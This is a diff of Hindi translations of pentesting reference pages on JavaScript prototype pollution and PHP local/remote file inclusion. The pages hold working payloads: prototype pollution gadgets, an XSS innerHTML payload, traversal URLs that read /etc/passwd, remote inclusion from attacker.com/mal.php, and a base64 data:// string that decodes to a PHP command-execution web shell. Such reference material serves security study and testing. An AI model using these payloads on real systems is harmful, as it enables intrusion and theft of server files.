यह ध्यान रखना चाहिए कि जब एक गुण को एक वस्तु में जोड़ा जाता है जो अन्य वस्तुओं के लिए प्रोटोटाइप के रूप में कार्य करती है (जैसे `myPersonObj`), तो विरासत में मिलने वाली वस्तुओं को इस नए गुण तक पहुँच मिलती है। हालाँकि, यह गुण स्वचालित रूप से प्रदर्शित नहीं होता जब तक कि इसे स्पष्ट रूप से नहीं बुलाया जाता।
यह ध्यान रखना चाहिए कि जब एक गुण को एक वस्तु में जोड़ा जाता है जो अन्य वस्तुओं के लिए प्रोटोटाइप के रूप में कार्य करती है (जैसे `myPersonObj`), तो विरासत में ली गई वस्तुओं को इस नए गुण तक पहुँच मिलती है। हालाँकि, यह गुण स्वचालित रूप से प्रदर्शित नहीं होता जब तक कि इसे स्पष्ट रूप से नहीं बुलाया जाता।
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
@ -56,7 +56,7 @@ this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
ऑब्जेक्ट प्रोटोटाइप तक पहुच संभव है:
ऑब्जेक्ट प्रोटोटाइप तक पहुच संभव है:
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
@ -102,13 +102,13 @@ car1.constructor.prototype.isElectric = true
प्रोटोटाइप प्रदूषण के माध्यम से JavaScript ऑब्जेक्ट्स को वैश्विक रूप से प्रभावित करने के दो तरीके हैं:
1. सीधे `Object.prototype` को प्रदूषित करना:
1. `Object.prototype` को सीधे प्रदूषित करना:
```javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
```
2. सामान्यतः उपयोग किए जाने वाले संरचना के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:
2. सामान्य रूप से उपयोग किए जाने वाले ढांचे के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:
```javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
@ -121,7 +121,7 @@ console.log("Hello!")
### एक क्लास से Object.prototype तक
एक ऐसे परिदृश्य में जहाँ आप **एक विशिष्ट ऑब्जेक्ट को प्रदूषित** कर सकते हैं और आपको **`Object.prototype` तक पहुँचने** की आवश्यकता है, आप इसके लिए निम्नलिखित कोड की तरह कुछ खोज सकते हैं:
एक परिदृश्य में जहाँ आप **एक विशिष्ट ऑब्जेक्ट को प्रदूषित** कर सकते हैं और आपको **`Object.prototype` तक पहुँचने** की आवश्यकता है, आप इसके लिए निम्नलिखित कोड की तरह कुछ खोज सकते हैं:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
एक प्रोटोटाइप प्रदूषण एक दोष के कारण होता है जो `Object.prototype` पर गुणों को ओवरराइट करने की अनुमति देता है। इसका मतलब है कि चूंकि अधिकांश वस्तुएं अपने गुणों को `Object.prototype` से प्राप्त करती हैं।
सबसे आसान उदाहरण यह है कि एक **वस्तु के अनिर्धारित गुण** में एक मान जोड़ा जाए जिसे जांचा जाने वाला है, जैसे:
सबसे आसान उदाहरण यह है कि एक **वस्तु के अनिर्धारित गुण** में एक मान जोड़ा जाए ज जांचा जाने वाला है, जैसे:
```javascript
if (user.admin) {
```
@ -183,13 +183,13 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
इस तंत्र के पीछे की प्रक्रिया में गुणों को इस प्रकार से हेरफेर करना शामिल है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी वस्तुओं के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर `__proto__` गुण को सेट करने में शामिल होता है, जो कि JavaScript में, एक वस्तु के प्रोटोटाइप को सीधे संशोधित करने के समान है।
इस तंत्र के पीछे का तंत्र इस प्रकार है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी ऑब्जेक्ट्स के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर `__proto__` प्रॉपर्टी को सेट करने में शामिल होता है, जो कि JavaScript में, एक ऑब्जेक्ट के प्रोटोटाइप को सीधे संशोधित करने के समान है।
इस हमले को सफलतापूर्वक निष्पादित करने की शर्तें, जैसा कि एक विशेष [अध्ययन](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) में वर्णित है, में शामिल हैं:
इस हमले को सफलतापूर्वक निष्पादित करने की शर्तें, जैसा कि एक विशेष [अध्ययन](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) में वर्णित है, शामिल हैं:
- एक पुनरावृत्त मर्ज करना।
- एक पथ के आधार पर गुणों को परिभाषित करना।
- वस्तुओं को क्लोन करना।
- एक पथ के आधार पर प्रॉपर्टीज को परिभाषित करना।
- ऑब्जेक्ट्स को क्लोन करना।
### Override function
```python
@ -228,11 +228,13 @@ console.log({}.devMode) // Outputs: true
### CVEs के साथ एक और ट्यूटोरियल
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### प्रोटोटाइप प्रदूषण का पता लगाने के लिए उपकरण
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): यह Burp Suite एक्सटेंशन वेब अनुप्रयोगों में सर्वर-साइड प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और विश्लेषण करने के लिए डिज़ाइन किया गया है। यह उपकरण संभावित प्रोटोटाइप प्रदूषण मुद्दों की पहचान के लिए अनुरोधों को स्कैन करने की प्रक्रिया को स्वचालित करता है। यह ज्ञात गैजेट्स का लाभ उठाता है - प्रोटोटाइप प्रदूषण का उपयोग करके हानिकारक क्रियाओं को निष्पादित करने के तरीके - विशेष रूप से Node.js पुस्तकालयों पर ध्यान केंद्रित करता है।
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): यह Burp Suite एक्सटेंशन वेब अनुप्रयोगों में सर्वर-साइड प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और विश्लेषण करने के लिए डिज़ाइन किया गया है। यह उपकरण संभावित प्रोटोटाइप प्रदूषण मुद्दों की पहचान के लिए अनुरोधों को स्कैन करने की प्रक्रिया को स्वचालित करता है। यह ज्ञात गैजेट्स का लाभ उठाता है - प्रोटोटाइप प्रदूषण का उपयोग करके हानिकारक क्रियाएँ निष्पादित करने के तरीके - विशेष रूप से Node.js पुस्तकालयों पर ध्यान केंद्रित करता है।
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): यह एक्सटेंशन सर्वर साइड प्रोटोटाइप प्रदूषण कमजोरियों की पहचान करता है। यह [सर्वर साइड प्रोटोटाइप प्रदूषण](https://portswigger.net/research/server-side-prototype-pollution) में वर्णित तकनीकों का उपयोग करता है।
### NodeJS में AST प्रोटोटाइप प्रदूषण
@ -338,15 +340,15 @@ requests.get(TARGET_URL)
1. **ऑब्जेक्ट अपरिवर्तनीयता**: `Object.prototype` को `Object.freeze` लागू करके अपरिवर्तनीय बनाया जा सकता है।
2. **इनपुट मान्यता**: JSON इनपुट को एप्लिकेशन के स्कीमा के खिलाफ सख्ती से मान्य किया जाना चाहिए।
3. **सुरक्षित मर्ज फ़ंक्शन**: पुनरावृत्त मर्ज फ़ंक्शनों का असुरक्षित उपयोग से बचना चाहिए।
3. **सुरक्षित मर्ज फ़ंक्शन**: पुनरावर्ती मर्ज फ़ंक्शनों का असुरक्षित उपयोग से बचना चाहिए।
4. **प्रोटोटाइप-रहित ऑब्जेक्ट**: प्रोटोटाइप गुणों के बिना ऑब्जेक्ट `Object.create(null)` का उपयोग करके बनाए जा सकते हैं।
5. **मैप का उपयोग**: कुंजी-मूल्य जोड़ों को संग्रहीत करने के लिए `Object` के बजाय `Map` का उपयोग किया जाना चाहिए।
6. **लाइब्रेरी अपडेट**: नियमित रूप से लाइब्रेरी को अपडेट करके सुरक्षा पैच को शामिल किया जा सकता है।
7. **लिंटर और स्थैतिक विश्लेषण उपकरण**: प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और रोकने के लिए उपयुक्त प्लगइन्स के साथ ESLint जैसे उपकरणों का उपयोग करें।
8. **कोड समीक्षा**: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।
8. **कोड समीक्षाएँ**: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।
9. **सुरक्षा प्रशिक्षण**: डेवलपर्स को प्रोटोटाइप प्रदूषण के जोखिमों और सुरक्षित कोड लिखने के सर्वोत्तम प्रथाओं के बारे में शिक्षित करें।
10. **लाइब्रेरी का सावधानी से उपयोग**: तृतीय-पक्ष लाइब्रेरी का उपयोग करते समय सावधानी बरतें। उनकी सुरक्षा स्थिति का आकलन करें और उनके कोड की समीक्षा करें, विशेष रूप से जो ऑब्जेक्ट को संशोधित करते हैं।
11. **रनटाइम सुरक्षा**: प्रोटोटाइप प्रदूषण हमलों का पता लगाने और रोकने के लिए सुरक्षा-केंद्रित npm पैकेजों का उपयोग करके रनटाइम सुरक्षा तंत्र लागू करें।
11. **रनटाइम सुरक्षा**: प्रोटोटाइप प्रदूषण हमलों का पता लगाने और रोकने के लिए सुरक्षा-केंद्रित npm पैकेज का उपयोग करके रनटाइम सुरक्षा तंत्र लागू करें।
## संदर्भ

View File

@ -21,29 +21,33 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**कई \*nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
`/` को `\` में बदलने की कोशिश करें\
`../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
### **Windows**
विभिन्न शब्द सूचियों का संयोजन:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
`/` को `\` में बदलने की कोशिश करें\
`C:/` को हटाने और `../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
### **OS X**
लिनक्स की LFI सूची की जांच करें।
## Basic LFI and bypasses
## बेसिक LFI और बायपास
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
```
@ -72,7 +76,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### मौजूदा फ़ोल्डर से
### From existent folder
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
```python
@ -86,16 +90,16 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर के लिए गहराई को एक से बढ़ाना आवश्यक है:
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की गहराई को एक से बढ़ाने की आवश्यकता होती है:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि क्या फ़ोल्डर मौजूद है:
- **त्रुटि / कोई आउटपुट नहीं:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके आगे जांचा जा सकता है
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -107,7 +111,7 @@ PHP में, फ़ाइल पथ के विभिन्न प्रत
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
- इसी तरह, यदि किसी फ़ाइल पथ में `.php` जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
- इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
```
@ -121,11 +125,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन वांछित पथ (`/etc/passwd`) बरकरार रहे।
- **एक नकली डायरेक्टरी से शुरू करना**: पथ को एक गैर-मौजूद डायरेक्टरी (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल प्रणाली में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
- **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) के साथ शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल प्रणाली की संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
**यह भेद्यता PHP 5.3 में ठीक की गई थी।**
@ -144,12 +148,12 @@ php में यह डिफ़ॉल्ट रूप से बंद है
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड और RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल बेकार होगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग न करते हुए** होगा:
```
@ -157,7 +161,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
```
## Python Root element
पायथन में इस तरह के कोड में:
Python में इस तरह के कोड में:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -225,7 +229,7 @@ PHP फ़िल्टर डेटा पर **संशोधन संचा
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। **सभी समर्थित एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
> [!WARNING]
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया को मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
@ -265,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> भाग "php://filter" केस संवेदनशील नहीं है
> भाग "php://filter" केस-संवेदनशील नहीं है
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल
@ -273,15 +277,15 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
- टेक्स्ट के अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
- टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
- **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि जब हम पर्याप्त परिवर्तन करते हैं तो यह हेक्साडेसिमल वर्ण नहीं बनता। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
- जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
- और आगे के डेटा प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
- **dechunk** फ़िल्टर **पहले चर को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk ने इसे नहीं हटाया और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य अक्षरों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
- जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -292,7 +296,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
